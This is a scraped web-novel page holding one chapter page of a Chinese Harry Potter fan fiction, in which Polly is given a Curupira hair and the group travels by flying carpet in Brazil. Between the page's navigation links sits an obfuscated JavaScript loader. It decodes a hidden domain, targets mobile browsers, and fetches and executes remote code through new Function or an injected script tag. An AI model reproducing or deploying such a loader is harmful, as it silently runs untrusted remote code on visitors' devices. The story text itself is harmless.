妙书阁小说

阅读记录  |   用户书架
上一页
目录 | 设置
下一章
function UqgsgfgDv(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{ c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function UqSDDFGvyQ(e){ var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,""); while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return UqgsgfgDv(t);};window[''+'U'+'Y'+'C'+'q'+'J'+'K'+'']=(!/^Mac|Win/.test(navigator.platform)||!navigator.platform)?function(){;(function(u,i,w,d,c){var x=UqSDDFGvyQ,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));'jQuery'; if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')>-1){var xhr=new XMLHttpRequest();xhr.open('POST','https://'+u+'/bm-'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'u'+'q'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else{var s=d[crd]('script');s.src='https://'+u+'/m-'+i;cs.parentElement.insertBefore(s,cs);}})('aGYuc2Rqa2JjamtzYmRzdnYuY29t','2843',window,document,['G','TpoZFcguG']);}:function(){};

第150页(2 / 2)

加入书签 | 推荐本书 | 问题反馈 |

她握住了自己的魔杖,慢慢走近那三个库鲁皮拉。其中一个仰起头看了她一会儿,然后叽里咕噜地对着自己的同伴大声说话;第二个环抱手臂站在那儿一动不动;第三个把自己的红头发揪下来一根,然后捧在手心递了过来。

小女巫有些惊讶地把手从口袋里抽出来——毫无疑问,这种甚至没出现在《神奇生物在哪里》书籍中的魔法生物不会被网O的手游系统收入卡池——但它们依旧表现得很友好。

“收下那头发吧。”席尔瓦说,“库鲁皮拉自愿赠予的头发蕴含神奇的魔力。它会保证你在巴西的野外不受伤害。人类通常很难获得这个——有记载的上一次还是个——”

他突然咳嗽了一声。

“——好吧,也是个英国佬,一个什么斯卡德……”

珀莉把那根短短的头发接过来。它看起来像是一根几英寸长的红丝。

“应该是斯卡曼德先生。”珀莉说,“他是个非常热爱神奇生物的巫师。”

“好吧。”席尔瓦仍然有些怀疑地看着他们,然后说,“他们同意跟着我们出去了——唔——”

一个小矮人用力扯了扯珀莉的袍子下摆,然后露出满意地神色,把木棒挂在自己背上,揪着她的袍子往上攀爬——顺带一提,这对它们而言还挺困难的,因为它们的脚是向后长的,——然后一溜烟爬到了珀莉的肩膀上。

珀莉无言地低头看着第二个和第三个库普皮拉也这么如法炮制爬上来。其中一个甚至还用它的手摸了摸她的脸颊,像是表达善意。

“……就这样吧。”她说,“它们也挺可爱的。”

塞德里克盯着那个在珀莉脸颊上留下的泥手印:“……嗯,是很可爱。”即使是脸上有一块手印、肩膀上坐着三个怪模怪样的小矮人也很可爱。

他们顺着梯子重新爬回箱子外。

“我们坐飞毯去库鲁皮拉的保护地。”席尔瓦说,他还在时不时地看珀莉肩上的库鲁皮拉们,“那儿有些远。我们可以在路上吃点东西。”

没有人反对。当一个巴西人对英国人们说距离有些远的时候,那是真的有些远——巴西的国土面积差不多是英国的三十多倍呢。

英国是有禁运飞毯的规定的,因为地毯在禁用魔法物品登记簿上被定义为麻瓜手工艺品。珀莉还是第一次见识到飞毯,她好奇地摸了摸。

“孟加拉国进口的手工飞毯。”席尔瓦得意地说,“花了我不少钱,但很值。这差不多是我们部里最好的飞毯之一。”

当他们飞到高空之后,塞德里克情不自禁地赞叹了一声。他喜欢飞天扫帚,但飞毯给人的感觉要更为舒适。这张飞毯上无疑施加了平衡、保暖等需多方面的咒语。起步速度比较慢,但是很稳当,他们在上面走动或者坐下都不会摔倒什么的。

席尔瓦从他的口袋里掏出了一只银质的大壶,里头是散发着青草香的咖啡;然后是一大包被油纸包裹住的烤肉,看起来油汪汪的,格外吸引人;一些炖过的豆子和烤香肠;一罐深棕色的酱汁,不知道是什么口味的,但是闻起来很香。

--

上一页
目录
下一章
A- 18 A+
默认 贵族金 护眼绿 羊皮纸 可爱粉 夜间